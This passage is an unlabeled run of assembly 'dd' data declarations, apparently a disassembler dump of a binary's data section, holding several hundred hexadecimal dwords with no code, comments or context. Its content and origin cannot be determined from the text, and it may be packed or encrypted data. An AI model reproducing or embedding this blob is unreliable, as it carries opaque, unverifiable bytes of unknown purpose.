		dd 3577AC84h, 0CEDB9E00h, 6023139Ah, 0FCD89141h, 0CC093F98h
		dd 7E06410h, 0B800244Ch, 7A5F70h, 67F80E62h, 6A183331h
		dd 984C248h, 0A075B3EEh, 0BF37E4C4h, 979808h, 88B6233Ah
		dd 81F0DF24h, 0B8DBCE00h, 415BCDA0h, 449035h, 64D896CFh
		dd 333FBA59h, 0B31BB507h, 7740F010h, 0E5D562Bh,	0BFE1B03Ch
		dd 0D92D6F61h, 61877076h, 43AAA600h, 9F2AE0D6h,	0DB2426BAh
		dd 6794004Ch, 2750E9C1h, 852C5600h, 9E914CD0h, 1C5F58A2h
		dd 6B924000h, 0CFB571CDh, 9BBA630Eh, 2968A0A4h,	0EE2AE6D8h
		dd 2EE00030h, 3EB4BF28h, 177EF5D1h, 900583ECh, 66914247h
		dd 0B01CF483h, 0E5C9B3h, 192032A9h, 0C623CFD6h,	621F9100h
		dd 0C9615231h, 0E08D07D1h, 0A0BB299Bh, 5CDC174Bh, 0D3FEC503h
		dd 0C0A2F713h, 247C3763h, 92843Eh, 0FC3DBE28h, 67130442h
		dd 92194h, 0E690809Bh, 724FBCCh, 0F131B3Ah, 8559007h, 64178BC3h
		dd 65006903h, 10D933FBh, 0B821EEFh, 0D1DF4797h,	0EA58F05Ch
		dd 0B0002274h, 43926B6Dh, 7B1430D5h, 95CC0EF1h,	0D14799A0h
		dd 47D6008Ch, 4E0B7BCFh, 0E5EEB9h, 398446EBh, 356B0083h
		dd 0FEC9ED1Ch, 9F00C027h, 92FABBABh, 0E2495F4Ch, 97E806h
		dd 1944B405h, 89ECEEE7h, 22F78C00h, 3D78A1BCh, 0D9550082h
		dd 17CE92B9h, 0E70262B7h, 5D15BD4Bh, 9956607Eh,	0FC5900AAh
		dd 575F56E1h, 8A0CF39Ah, 3A5CF631h, 0AB4B0EB2h,	1960D2A0h
		dd 0E2FA9614h, 0AA41E601h, 4C9B54ECh, 0CFF8E4DDh, 0D6E48A8h
		dd 6596F901h, 0F471A09Eh, 0B790750Dh, 44CBDB0Eh, 220CA09Ch
		dd 31FAA60h, 526350CAh,	0F4F0FC9Fh, 0B4178329h,	8D075C12h
		dd 0EDA0D520h, 744F8860h, 29AF1CD0h, 619C8ED4h,	19780B20h
		dd 8B0099D9h, 1CBC44FEh, 11DDC7h, 1898E048h, 0EB7A4523h
		dd 0B6437203h, 0A97FB48Ch, 0F4FC3E21h, 0AA6400F1h, 70BDFB77h
		dd 0B5006A54h, 0A478F2C5h, 5D519Ch, 14F7D3B1h, 6FF1C695h
		dd 325F507h, 40A05229h,	0B19941h, 0D1565946h, 0EBF8AE27h
		dd 405CCA30h, 6B0A15h, 0D9565C2h, 3DFBDACBh, 0F39B3B00h
		dd 0A14F0F0Ch, 20384922h, 19A94B00h, 0D6E21D39h, 2DAE9C0Ah
		dd 0A67109Ah, 0D6EF2540h, 9E6C0032h, 3459D85h, 0A1007EDAh
		dd 6439D8CCh, 3BDB5Fh, 2BDDF28Fh, 0EE7A9C99h, 0F12CD90h
		dd 40CDCFh, 5523714h, 3B329062h, 0A900167Fh, 5764260Dh
		dd 6CE0C7ACh, 58A65137h, 2311EA00h, 0C9743C94h,	658F5F02h
		dd 9443AA03h, 4A0024CBh, 0B6182B3Fh, 5CFD360h, 0E3B82786h
		dd 9E43C194h, 0C62EF073h, 7B786600h, 0D142D76Dh, 9CAC0044h
		dd 0FCC46F74h, 2F07A2D0h, 19A0DD9h, 282C5AC1h, 0CA84E8h
		dd 0FF79ABA9h, 0F807EDFAh, 73872B0Fh, 0A5B5C0E8h, 9825C47Ah
		dd 0FBE6387Dh, 2A8A2D80h, 3F2BF66h, 8302CC3Ah, 6A7B4AF7h
		dd 0E414E8B8h, 40360089h, 0DAF45C50h, 0E800935Ah, 569CFE4Dh
		dd 331F6B3h, 0C610CFBBh, 0E098BABCh, 0D701B678h, 59F839A6h
		dd 0AAD485A5h, 0C50400D9h, 52AF458Eh, 4DB8B896h, 3529D700h
		dd 0A167CF4Eh, 708EC7Dh, 4241381h, 0EBF120BBh, 3170C98Fh
		dd 0AAB20303h, 0A754E675h, 777285E0h, 0FCC776ADh, 8AF20063h
		dd 9AD5F6B8h, 3000E46Ch, 29CE2515h, 79B59C11h, 0E7F506EFh
		dd 503CBD3Bh, 0FE4AF5Ch, 809F86DDh, 0DE413EB9h,	0FA54CD6h
		dd 5F134B00h, 53D98F6Dh, 93F34400h, 0B06133A0h,	76A40304h
		dd 274EE841h, 36D2E1F8h, 0F004898h, 4472A96Eh, 8319Dh
		dd 3D0CA841h, 349998A1h, 40008E73h, 9AF2E238h, 0F3E02DFh
		dd 2C931242h, 0F4515DE0h, 0BA72E424h, 78411516h, 911DFBh
		dd 21B0CA55h, 0E008B04h, 7D7909E8h, 5DB8074h, 0DA3C7F85h
		dd 448C0795h, 8D3A50BAh, 4E7D5EA0h, 6B64E400h, 778316D5h
		dd 4F2E006Eh, 0CEC34C41h, 98005699h, 1BC61A04h,	0AD67B4h
		dd 79C477DCh, 11C07FDAh, 85057300h, 5861AF08h, 0D11A5C2Dh
		dd 73F7400h, 71FBA49Eh,	6797A10Ah, 0D20096CDh, 1BC52017h
		dd 4E250A19h, 7844537h,	8069EFD9h, 71FEABC9h, 3FFC000h
		dd 70B055FAh, 0E11300B6h, 9E1E0A93h, 9A0C1089h,	18CAEC2Bh
		dd 0CD70975h, 2E809501h, 6E92066Ah, 6F0F0800h, 0B1F3878Dh
		dd 0A09F037Ah, 0C595E54Bh, 0F80497F0h, 9C287B00h, 0EE6F1C2h
		dd 990500C3h, 1A64657Dh, 0BE001E1Fh, 0FBD8E42Ah, 71915ABh
		dd 79EC92F3h, 3DB3D175h, 810F609Dh, 0D9B03901h,	0C430369Eh
		dd 78FDEC4h, 7E30F94h, 87F560ADh, 4B00DBDAh, 8526BBCBh
		dd 3804810h, 11A473F9h,	0FC3C50Bh, 92C21BF0h, 449A3B01h
		dd 7EA8C8Dh, 24C77C20h,	532B49h, 595E3388h, 3C1FCCD1h
		dd 6DC07FDBh, 0C322A73Dh, 49C2003Fh, 0B1FBAA2Fh, 0F8EA75A8h
		dd 51B0700h, 30B743A7h,	0AE020028h, 9C7E9559h, 2F7E092Ah
		dd 6EF0A200h, 5657BA93h, 0B993D39h, 2C5F1D80h, 7DD0AE1h
		dd 3CA07748h, 150F874Ch, 6F003A31h, 63C744h, 5CA0CF04h
		dd 49DAF6E7h, 12EA1B01h, 25E39739h, 346AC24h, 0D5349D8Bh
		dd 2FA6886h, 0A96A82C0h, 4AC92900h, 4EAEABC8h, 0E05750D7h
		dd 6C6607EEh, 90C08086h, 2BFD3BBCh, 0C131A100h,	8E5DDC7Ah
		dd 2498EEh, 0E96E1011h,	7F3E3AB0h, 0C6CBC1A0h, 0A3ACD900h
		dd 7561046Dh, 189087h, 35E2E3BEh, 807EFBCFh, 8773C33Ch
		dd 1A0C5B01h, 0DC8017D4h, 35C3DFEh, 0FA0A4DECh,	0D6F0A2A9h
		dd 3FFEFC24h, 0FB067D00h, 79EB69F4h, 0D5C200D1h, 0A8C4E363h
		dd 101D8292h, 0FD4F7618h, 9D26E029h, 321B7Fh, 0A9091E86h
		dd 4ADD86Eh, 3C43C43Ch,	7EAF8042h, 2C1933A7h, 92DC02A5h
		dd 0D087D4D7h, 6F46D760h, 47EB1D00h, 0E3E03679h, 0BA9D00B6h
		dd 3B9E8FCh, 6E00F474h,	0A31F3A82h, 1E09CA5Eh, 44E72E02h
		dd 0C0DF3DA7h, 0C9CEC2ACh, 148E8600h, 0B5088DF4h, 5D740088h
		dd 0DA615AA6h, 29F6941Eh, 0AFC3EE0h, 0C58C5500h, 95448278h
		dd 366C1D0Fh, 7406408Fh, 3A5F1A25h, 8B05EC00h, 9A2E2F6Dh
		dd 63040F43h
		dd 6AC068C4h, 0D734CF0Ch, 91F84E18h, 0E1E638h, 9B62B5B2h
		dd 0F79E6669h, 192C2601h, 3DFD3C09h, 0E146FCh, 83F5F38Ch
		dd 4B362D5Eh, 0D4300A00h, 0C0061DF4h, 89E443h, 6661F1EFh
		dd 0BD7B7EECh, 0E8E6951Fh, 0C096F80h, 9218178h,	0C5F0A017h
		dd 6AC0100Ch, 0D1C45300h, 7CAEB797h, 5D460081h,	0CC8A6D05h
		dd 0EF00EA48h, 35B4D18Fh, 583479h, 6623E0FEh, 0DB710180h
		dd 0C498657Dh, 7C15E300h, 469CCC10h, 0DD731Bh, 0C107B1A7h
		dd 3B069405h, 0A4704300h, 0BED0CDE7h, 5A140083h, 574EB790h
		dd 100F751h, 0C206BFACh, 3DC771h, 6BAF6A8Ah, 92FAF811h
		dd 3439080Eh, 0D51260FFh, 0E0C42774h, 58CA3B6Ah, 5BF7CF80h
		dd 1CD6317Fh, 72DFD013h, 20389E0Ch, 29646029h, 0D7A4B6EBh
		dd 0A336DF08h, 60056C3h, 9A30C452h, 79C1AA1Bh, 160100D2h
		dd 9BF53B35h, 0E23FB788h, 67848145h, 0CA0DC36Ah, 0E458E8h
		dd 0CBBBF72Bh, 0AB80B969h, 100B1C00h, 35264454h, 0A4FC0FC7h
		dd 0DF004F2Fh, 27E8367Bh, 74452907h, 86E1DEC1h,	0D7FCD669h
		dd 46853E9Dh, 0DBCA4E0Eh, 0A643817Fh, 0E39138EBh, 0C00800EDh
		dd 0A1831035h, 8D36DE1Eh, 0C5843F46h, 8B4510E1h, 44E3BBEh
		dd 159C658Ah, 17FB02BAh, 0A89801FEh, 7F205A52h,	266D2C69h
		dd 0D8FA00B1h, 0BA592DFFh, 0AFE9CF00h, 0EDC55456h, 6D3B007Dh
		dd 398789ACh, 7F7F4F02h, 0C90B5300h, 3B70E3A8h,	4CC000DCh
		dd 0BFD4A2C2h, 3500572Eh, 7A13E842h, 19DD49C9h,	0A1BBD606h
		dd 436E60AFh, 8FF4D53Ch, 45DA2B90h, 901D76BFh, 0A010570Eh
		dd 0FABA9EEEh, 0DBFA9Ah, 0E6026152h, 0A1C2401h,	0F8B75D00h
		dd 0E58915B8h, 0F9D8003Dh, 0FB4267E3h, 550FF37Bh, 748AA265h
		dd 0D1000ACh, 3CD02B9Dh, 0B38300E9h, 0FEB2C196h, 35018BA2h
		dd 50A1F03Ah, 5882DA92h, 0C2583354h, 4CFD9843h,	0BC5C7B9Ch
		dd 71071FEAh, 47CEDFE6h, 64E24F21h, 1B8E0F8h, 0E174295Eh
		dd 86390FD9h, 0E8B90738h, 664888F9h, 98AC0082h,	0AED2BEE3h
		dd 0F4742722h, 8E12D700h, 0A7BB9264h, 42630623h, 585D5B78h
		dd 137A103Ch, 0D7034AF0h, 98F7C1E3h, 0FC31F2h, 3BC4D6CEh
		dd 4C8EEE8h, 32423F00h,	0FE48D0FFh, 37E93D20h, 0F61FE100h
		dd 4D4FE070h, 9879FD00h, 0F9B55621h, 954636Bh, 2000E7E9h
		dd 76BE901Dh, 7934D3h, 0FB887CF2h, 0EACB7FD1h, 0F3FA3703h
		dd 0E085401Ch, 0DD48D90h, 0DDCE5CE2h, 500FDC41h, 45C0E2E9h
		dd 8901CAE4h, 87EFF78Eh, 3441B552h, 2AE128DDh, 11800121h
		dd 410E32C2h, 1A0085F6h, 4A1DF56Fh, 0CF5138A3h,	0F659D20h
		dd 9900FF13h, 2178F69Bh, 47690E09h, 0D4388A12h,	2CA515E9h
		dd 0F3603964h, 663A1F24h, 53520529h, 0A021388Fh, 8E0CF536h
		dd 56309D1Ch, 0E1F108E3h, 8BE51400h, 964272h, 1934A1CEh
		dd 0E1338FABh, 37534C07h, 5637E751h, 0FB8A05E9h, 0B6DB9407h
		dd 5B3244C1h, 0B33F30h,	1123ED55h, 3EADDA03h, 59FE900h
		dd 850CF5D1h, 96930075h, 0F09809F1h, 4EE8B7B3h,	0D2003FECh
		dd 48A23E46h, 289EB6h, 1D1BAF38h, 0C1521D5h, 42DA700h
		dd 0FF9A48E2h, 83500DBh, 4DDC45D1h, 41B0A2BDh, 727C363Eh
		dd 0BFB15Ch, 0AF55B43Bh, 0FBD379h, 0ABFCDEF8h, 0DD3AEB84h
		dd 5D371400h, 4B09B7F4h, 0ECB500A2h, 0D4674FCFh, 2707C46Bh
		dd 2DD944F8h, 0CD6F1B20h, 949A0070h, 17D79910h,	0EF0E4383h
		dd 0E00338B6h, 32EB8125h, 60A260A1h, 6F730F20h,	9E3C87FEh
		dd 613F0016h, 27353D65h, 0E1551D40h, 5FA800AAh,	20225D63h
		dd 0BC00DCFAh, 4F8828E9h, 767182Bh, 7103528Ah, 71E38649h
		dd 0B43B6874h, 9CB8BD48h, 4340581Eh, 0D7E0865h,	0F682072Ah
		dd 70E1DD15h, 5B71E498h, 41F82100h, 40DF06C5h, 2E90091h
		dd 0D270D9FDh, 0AB78660Dh, 80FE933Eh, 9DDC50DEh, 7CF07Bh
		dd 0B42A373h, 65EB7667h, 94437400h, 0FDC20287h,	0B6950CD4h
		dd 9018578Bh, 10314A40h, 68650F6h, 5A0A0455h, 76700820h
		dd 0F008D6DFh, 0D0E50395h, 0DDA85558h, 0EA608D6Ah, 0E6EB4511h
		dd 0F8730344h, 0E91C64D1h, 0DD080818h, 3FAB320h, 9CDF6EE6h
		dd 84900B6Ah, 0D40068D7h, 49A48002h, 0E871F5h, 0D12D047Ch
		dd 55922F3h, 40C18C31h,	0B8C3B0E5h, 0C9C08F6h, 9D47B740h
		dd 21C0B308h, 50945D10h, 2821004Ch, 0DCB55EC3h,	7100F484h
		dd 0B67E7258h, 0E0D8325Fh, 0D6DD00AEh, 7C938C65h, 0F40077C8h
		dd 0C61F0EBBh, 7AAA8DEh, 5F530FA4h, 9ED0B7ABh, 3BBDD1E3h
		dd 9058FB8h, 819DA73Eh,	2AD2FDEEh, 0E2D04911h, 1B6E00DAh
		dd 0BDE5768Dh, 0DF1DC994h, 0E3800728h, 0C749A52Ch, 9A700EBh
		dd 0DE6D04Ah, 0C80B2A91h, 0E463F71h, 3310E37Fh,	30102B76h
		dd 0CA8BD804h, 42C13Eh,	4FE2B2FAh, 62F1BEh, 0BFB312ECh
		dd 4768E6CEh, 31926F00h, 3859F0E1h, 487F012Eh, 135646F8h
		dd 3AA971B7h, 1CEEF0h, 0C0BC389Bh, 61651A5Fh, 0A085A200h
		dd 0BFE4C3CFh, 0B67D1FECh, 0EDD80010h, 2BAA40E9h, 0B164D500h
		dd 20EAC7ADh, 9ACD07C8h, 170E05ECh, 0BE2100B2h,	0AB01EB7Bh
		dd 0C57A0613h, 0FDDCE33Dh, 0BBF90919h, 0F580E9FAh, 57037A0h
		dd 2EF24100h, 0EC91998Fh, 0BE3A00F1h, 0A3DD6282h, 0BD735A18h
		dd 0EE614C00h, 0BF3BF892h, 7DEAF0h, 2E5BDDC5h, 0E01AE485h
		dd 16E24600h, 8865B0A1h, 6DD40095h, 3BAE7CD0h, 0F030C6C7h
		dd 0FC618415h, 4EB0010Bh, 233F54EEh, 8B02FC50h,	0C8FD6B00h
		dd 311F8F5Ch, 0E15700EAh, 2746E810h, 6500DC91h,	0DA3604D4h
		dd 6C5A98Bh, 0F887138Ah, 0C804119Eh, 0D6AEA6DDh, 0CC1580AAh
		dd 524D45Eh, 590008D5h,	536261ADh, 0EF7A3866h, 5A17BE00h
		dd 0B0167D5Ch, 6AB9B400h, 68D99348h, 0D16E043Dh, 742F7EDh
		dd 0ABA057E2h, 0AC17AAh, 0F373344Fh, 3A09837Eh,	14B8C700h
		dd 550325E0h, 19681835h, 0DD10181Eh, 95223100h,	81C8C77h
		dd 92DA00BBh, 0BA833C59h, 0E8002358h, 52223E97h, 0DE2873h
		dd 69EF0E3h, 4C103972h,	0CD013277h, 541DFED7h, 0B4F0A245h
		dd 0C738003Ah, 113DC67Eh, 0BE0337ABh, 0F065FB7Dh, 43D1E0A2h
		dd 70251561h, 0FD00D0E5h, 51E78203h, 440E096Dh,	60569606h
		dd 0D5D31FCBh, 66D724EEh, 38D802A5h, 20482B0Eh,	0D4001D03h
		dd 0A0776D3Ah, 9092659Dh, 99B0B82h, 3B029EE5h, 0FA609068h
		dd 0A50B3DEDh, 217A4D9h, 0E3B6A198h, 24C7C7A9h,	30C54E70h
		dd 26D700AAh, 21A38A1Fh, 5300BEE0h, 53C5F06h, 0F5851Ah
		dd 95474FDDh, 0C2807603h, 0D638F30Fh, 0F14DC411h, 0CC008485h
		dd 1D0F9483h, 43490050h, 0C113DFB6h, 0E70F70C7h, 0C06B961Ch
		dd 0CFF9EAB0h, 28B2EA50h, 0CC1626h, 849B322Bh, 0EDE2A8E5h
		dd 8A00047Dh, 7D8DC862h, 764DA357h, 1FF20149h, 53BC6707h
		dd 9575E4F3h, 0D7BB8400h, 7B461E70h, 0EC974E9Eh, 730E0252h
		dd 40F3782Ah, 950B5110h, 0E9F41780h, 8102A671h,	0E89E0F8Fh
		dd 0F3848199h, 0E5C03E33h, 0ED10C09Ah, 3A7A3230h, 72370B7h
		dd 0A81524AEh, 809F95D3h, 542AD600h, 5FA00B00h,	0ABD9F2BBh
		dd 0AC91583Ch, 0C01E463Eh, 4D570075h, 6220AD04h, 0B3F79C13h
		dd 0AC1F4600h, 0E68058h, 6A7998ECh, 662C8E05h, 2D07FF74h
		dd 0E306D37Ah, 12111EC0h, 7BFA24A6h, 44CB0100h,	0E4A5532Bh
		dd 32004F70h, 0DEA1F59Fh, 9D75D8Eh, 33DD0E6Eh, 85E1002h
		dd 2C519048h, 0B4ED6A24h, 0F73E3600h, 1927E3Ah,	0EFF1FAEEh
		dd 0D441884Eh, 52094BC1h
		dd 801D2766h, 7B60CFB4h, 0C88E00A0h, 0A656D740h, 0F300B08Fh
		dd 0AF92A4E2h, 0B082B591h, 79AA187Ah, 0F83DB2DEh, 7409F176h
		dd 0A0FE2EEh, 0AA00C9A6h, 4FF6EC5h, 4F8900ECh, 50AD6624h
		dd 0FA005A2Bh, 869AE32h, 1C4D8483h, 2D6E8Ch, 6F96F206h
		dd 4107A61Fh, 57C73C1Ch, 72FA68E0h, 758D00B5h, 0C6D49858h
		dd 0A9007B14h, 0BF02B71Ch, 791BC3Ah, 0BA0BB85Fh, 1406709Bh
		dd 0E400DF43h, 34B69F10h, 0E85F721Fh, 1B3B008Dh, 0DCCC0B28h
		dd 0AA03CDF1h, 4CAF3D97h, 9278A816h, 0E62EEED1h, 8AD2006Bh
		dd 0E03824F4h, 1E00CACEh, 160CA675h, 946044h, 0A71FCF39h
		dd 765B050Ah, 0C1CD9D07h, 6610E2CBh, 0E46BC340h, 571E07B1h
		dd 11834553h, 0EB1698FBh, 0B5B687B8h, 0C72A8F03h, 0D025EB28h
		dd 38AFFBE0h, 9700C9D5h, 92E6078Eh, 52C02DADh, 80133831h
		dd 0BF71E1Fh, 0B900FE3Eh, 0A7422EEAh, 0F200D57Bh, 0EF7C9082h
		dd 0BEB3343h, 0A288ABE1h, 0FE857E00h, 2948C018h, 513A8Eh
		dd 3C0B16DAh, 37F68964h, 20D81CB2h, 49FD9E4Fh, 0D5733900h
		dd 5EB105Fh, 78CB0175h,	0DEC4B333h, 8011BC1Ch, 0C144EAECh
		dd 3E8750F2h, 0F8007728h, 0B0C98F3h, 151FD4F5h,	7E428EDDh
		dd 0E05B8AF7h, 7A30FD2Fh, 272328D1h, 403200A8h,	9B0BCE53h
		dd 6F07F3FAh, 595495Bh,	0E0BB3692h, 75BE3Dh, 0E21B4B6Bh
		dd 0F9914A01h, 14682500h, 482876ECh, 0B77E0396h, 400D5F3Ch
		dd 7005DA89h, 0E92C8378h, 0DD01974Ah, 0E51EE16Ch, 321CD4h
		dd 70B65B6Bh, 49561B9Ah, 249F2B00h, 0C386655Dh,	6335097Fh
		dd 8E002FD8h, 39CCE944h, 802D3C00h, 6E538C89h, 69F2582Ch
		dd 0F6DEB102h, 4DE0ED26h, 4F003EB8h, 38FD167Ah,	0CC6D1h
		dd 8617905Dh, 5AA134B1h, 3EDB6F00h, 2DF3B4B2h, 10785Ch
		dd 56EB178Ah, 0C06003F7h, 0A50BA402h, 0E0FEA829h, 1554F2h
		dd 5ADEC778h, 9AB1BA12h, 641FF300h, 0A8202E24h,	0D4A3C48h
		dd 7C04C97h, 0C2B17E0Dh, 17C05FBDh, 0C2006BD4h,	0B83E476Ah
		dd 10DA0h, 7CDA1C80h, 2DB6D37Bh, 0BE278A00h, 4296CA87h
		dd 821B13F4h, 0ACDC004Fh, 94CD4404h, 0C1E5100h,	47A5B31Ch
		dd 2DD40EDBh, 0C78023C1h, 84F014BCh, 612FB00h, 4108AA3Bh
		dd 0DBC900D2h, 0EF9A0F92h, 1D008A51h, 0C2E380E6h, 2266047h
		dd 69F3DB4Ah, 42E0CBBBh, 0BE000188h, 3EC8ED94h,	0A26881h
		dd 89DC4AADh, 927A50BDh, 0E2B3B400h, 0E74BBCA7h, 377580h
		dd 1B4CDAE8h, 280A8504h, 76C2C600h, 1FC5CF2Bh, 0E49600F4h
		dd 57A5E9FCh, 97098658h, 325DE87h, 8B4E5944h, 81B9B0D8h
		dd 0B23F0170h, 0CF46DB40h, 2662F09Bh, 13C28E8h,	0DE1C09D5h
		dd 0A308A019h, 5FBBCAh,	5803721Bh, 0B0A86843h, 909B191Ch
		dd 0B7303701h, 69E01FB3h, 0C80B0055h, 0EA23ED8h, 0DD7B6DA0h
		dd 26656B00h, 0BE5AE363h, 6C23909Bh, 1678209Ch,	0BA712103h
		dd 0E1A6033Fh, 1983A3DDh, 0D11A49A9h, 0B93A9873h, 0E5DE002Bh
		dd 6884DFE0h, 0FF6A2CB7h, 89220062h, 26FB8A62h,	0AD483E01h
		dd 0D4E72528h, 850FF4h,	69C7EC02h, 0F0537C80h, 36A8E403h
		dd 0A0EBFF40h, 70A3014Ah, 0CD7C93h, 0B2CB61A9h,	0FC5E31A7h
		dd 1100A675h, 83EEAC69h, 0FA7501DCh, 9B1B00EAh,	4498EBA5h
		dd 0D33A4271h, 0E3388055h, 34FB20E7h, 0F23E008Fh, 8E325940h
		dd 0A2E480Ch, 0F6007517h, 0F7D6EADFh, 577B1792h, 8F880B88h
		dd 6EEFCD80h, 0D905E4D4h, 51736B49h, 0B8C4CB00h, 0AB7A68h
		dd 923E20B2h, 3027F94Fh, 3D79D205h, 0D80386EDh,	8F8BC226h
		dd 113166h, 63FC4829h, 1F037FFBh, 0BE8A4B1Ch, 0D0D814C0h
		dd 352C07h, 8FAA1860h, 0F878FFC2h, 1D55BA00h, 0C0116FFDh
		dd 0BD831215h, 16684E44h, 0FBA804B5h, 4809E024h, 59F69C00h
		dd 0F5BCE6h, 87DA2DEAh,	96FCB5CEh, 2AFB1F00h, 9C65A0E1h
		dd 295C62E5h, 9F222BB6h, 1E6621FFh, 4DC101A3h, 7A104212h
		dd 1B9288C2h, 2953DA8Bh, 0A229D08Ch, 848EB044h,	0F568C010h
		dd 2CFA10h, 297C9416h, 0F3C8CDh, 0DE0FA4E4h, 464F55AAh
		dd 1E6F6B3Bh, 0D1D2476Dh, 73007C1Ch, 0A699537Fh, 595A0002h
		dd 21CFF9E8h, 0D7009E34h, 0F0C13344h, 5864BA53h, 0C0DC14B0h
		dd 0C85AD590h, 36B01514h, 8E5E5C00h, 3FC9522Fh,	0FBBD006Dh
		dd 23DB3C08h, 0AC004D40h, 92ADDC72h, 33AD0F7h, 0B787AAD7h
		dd 0EA00F9BFh, 646B706Dh, 3E4C02A8h, 0EC85D70Fh, 9074D433h
		dd 82BEC22Ch, 95141F00h, 750E642Dh, 8C5E004Ah, 2431D427h
		dd 0C6007EEDh, 42E1B94Bh, 3EA58A7Ch, 0F0D09E99h, 105700E3h
		dd 6A2A1B22h, 0D31DA4ACh, 0AB856C87h, 6891E9C6h, 0EE30BF59h
		dd 351E0EC5h, 0FB4E4FDCh, 0AFCE3360h, 5A00F386h, 0B3697F2Ah
		dd 0C0BD74h, 6C30A650h,	3F311612h, 27FFAD00h, 0C4600180h
		dd 8B6E0248h, 7D18DBBFh, 7BF9B460h, 0CC30F800h,	0C14776F0h
		dd 0E6140083h, 0D8354E96h, 0F673B78Fh, 1D51150Bh, 62EA82B1h
		dd 0B901C003h, 0E8CA2488h, 40B09D58h, 0C93B8165h, 0DE1DD070h
		dd 0C7C3FE2Ch, 0F87B3D22h, 0CE95F5h, 0EB1A50F1h, 96169FCAh
		dd 1CA11D2Eh, 77197E00h, 13B880D3h, 0E8D73CC7h,	94152E42h
		dd 405BB00Eh, 0FB4629B6h, 0BD7894h, 58E18D42h, 8373CB05h
		dd 9A7B9805h, 2B85AF9Ch, 66D1A440h, 2F47FFh, 42ECB093h
		dd 0A4DA4FF0h, 238E2E00h, 26ABD860h, 0ACA50B0Fh, 5480F2B8h
		dd 6A8AD3AAh, 43200D01h, 2E07362h, 754FCF0h, 1B58094Ch
		dd 0D3726024h, 0F6005BE7h, 8265F023h, 5C0B1756h, 0CC1EB26Bh
		dd 0C0F8496Ah, 0AB7EEE80h, 253D7335h, 8470804Dh, 0C1C8886Ch
		dd 11E21F43h, 0A96690h,	7442E081h, 0BE00D6FCh, 4952507Fh
		dd 180CF58h, 0EDC2EE62h, 0C81BBA78h, 18166F20h,	2BD22h
		dd 0E15C0601h, 0ACD387D6h, 0F8C540C3h, 0B6238Bh, 0E6B29AD9h
		dd 820698A5h, 0F601C0EEh, 848D5C4Eh, 94402B0Fh,	86E5C5h
		dd 5F33419Dh, 830E604h,	0F8744600h, 87D073DDh, 2B5E0053h
		dd 0AD867142h, 5734580h, 0B1631000h, 9135C1F8h,	2E237608h
		dd 60DD932h, 0C72DC20h,	935FE700h, 0B17CA3D8h, 49430FEFh
		dd 2F80556Ah, 50CA61A1h, 0BDA03150h, 523A8F00h,	0F7C3880Dh
		dd 79542C58h, 0A11C007Ah, 97746542h, 0F4FEBE01h, 9D83711Eh
		dd 0FC4063C9h, 717460Fh, 2E64EA7Ch, 225F067h, 7F0782EFh
		dd 8DDBA5D1h, 8E683AD0h, 69D90070h, 3F9D6C4h, 43E097A8h
		dd 0CBDB1409h, 74FF00F8h, 0C65693h, 5B8B787Bh, 0A9289FADh
		dd 10421D30h, 0E7F8453h, 0D2B9BF66h, 0EC915100h, 0D600D455h
		dd 2E4D2AE4h, 0DFAD59h,	991E75B0h, 736E37Eh, 1D9DC100h
		dd 0C5AB8F90h, 1FD30F31h, 37005743h, 77F6973Fh,	23CEFC01h
		dd 95D17050h, 99BBD4h, 4ACFC5F3h, 2353AB4h, 0F8025279h
		dd 883F847Eh, 0D63CC050h, 3D1400E9h, 0AB86DBA4h, 95016AAEh
		dd 335B1665h, 2560E82Dh, 0F6CE13EFh, 1CBC217Bh,	0C8D4CC5Fh
		dd 0B9C94000h, 5474EB8Eh, 0E06D008Ah, 0FA53F122h, 0CB397C24h
		dd 84AF01B3h, 721DB8B6h, 0F23AD8h, 5358F136h, 0E0C3397h
		dd 2301F900h, 5086247Eh, 9E110016h, 1DD67F61h, 0B890DADFh
		dd 310FB104h, 0F7802242h, 925F0A1h, 0E84B6F67h,	0C4B22460h
		dd 0E6F4CE01h, 610C3A4Ah, 6310C2F5h, 8314B80Bh,	3DC82F8Bh
		dd 989103F4h, 0E08A25B2h, 2C6FAD6Bh, 87143735h,	938C16E9h
		dd 2C80EFF1h, 0F600AD31h, 0A3B1AF88h, 1C567723h, 1EEEFC8Ah
		dd 6FC54779h, 10E430D4h
		dd 4800AEA9h, 11A1D2BFh, 9BAA688h, 1F01D1F2h, 5A4F3881h
		dd 264C6014h, 0A0D04600h, 866093DFh, 5041009Fh,	0C1B85C5Eh
		dd 0C77B1EBFh, 8291A1Eh, 6AEF0B40h, 7DB46D43h, 0A54E01A1h
		dd 9CE93237h, 0A2EC3089h, 15783411h, 2EDDA680h,	99015177h
		dd 59F45F93h, 2F30EE26h, 12CC9A22h, 4098A6F1h, 32401F8Ch
		dd 34E0B20Bh, 982CD128h, 82BF3701h, 2F7A742Ah, 0F4899060h
		dd 0A2C9074Bh, 674EDC04h, 851D8096h, 520013ECh,	0A60BB932h
		dd 388AFDD5h, 7880B78Bh, 0B5E3DE68h, 0D2002B48h, 3C284F5Ah
		dd 0BCE14Eh, 97505BFBh,	7E2E3390h, 12D0EE00h, 43C85234h
		dd 0E323A31h, 0F2877500h, 0A40D8338h, 826420FDh, 0C2676907h
		dd 91B04A0Eh, 79CDE773h, 0E327004Eh, 350A8A0Fh,	0D70028F6h
		dd 55452677h, 7DE9DBh, 0C5A598AAh, 87738AC8h, 88E21402h
		dd 5C8121h, 674EE876h, 0C9007C98h, 5E0761FBh, 93ED63h
		dd 712BB4CFh, 53D86EA7h, 66DB7201h, 340570CEh, 0EDABE0h
		dd 7AA408C7h, 7B715A79h, 0C452C807h, 0FCC06ABCh, 77D957h
		dd 500D13CFh, 0A71B7675h, 0E0934900h, 9FDD744Bh, 0C0F17958h
		dd 0B6339A58h, 60003EC4h, 15ABEB1Fh, 4293Dh, 50CB1CA8h
		dd 0C0338391h, 72E41400h, 4FC955E1h, 2CF2079Bh,	1092436Dh
		dd 59984ED6h, 0D1412200h, 409BF854h, 0C2E50099h, 231A3035h
		dd 0D42C7A24h, 46002BFAh, 0A71DCF87h, 17DB003Ah, 14F81884h
		dd 0BE00E294h, 0B9E56D88h, 74B45Eh, 7D405267h, 4F64B034h
		dd 0B1425F00h, 3C040241h, 0B080035h, 0D5DB8D76h, 6178F9EEh
		dd 79303300h, 0BC66A11Bh, 6B3A00C6h, 0F6D7D2E3h, 8C009235h
		dd 50193E2Ch, 58CC5AC3h, 0A4400C70h, 88A100BBh,	47F8CEFAh
		dd 350041E1h, 6E7D4CE3h, 52A986h, 2BE689B4h, 2D6F4458h
		dd 4B1B7000h, 0C4DE1456h, 0D5F201DCh, 5F7A6321h, 0E09C5031h
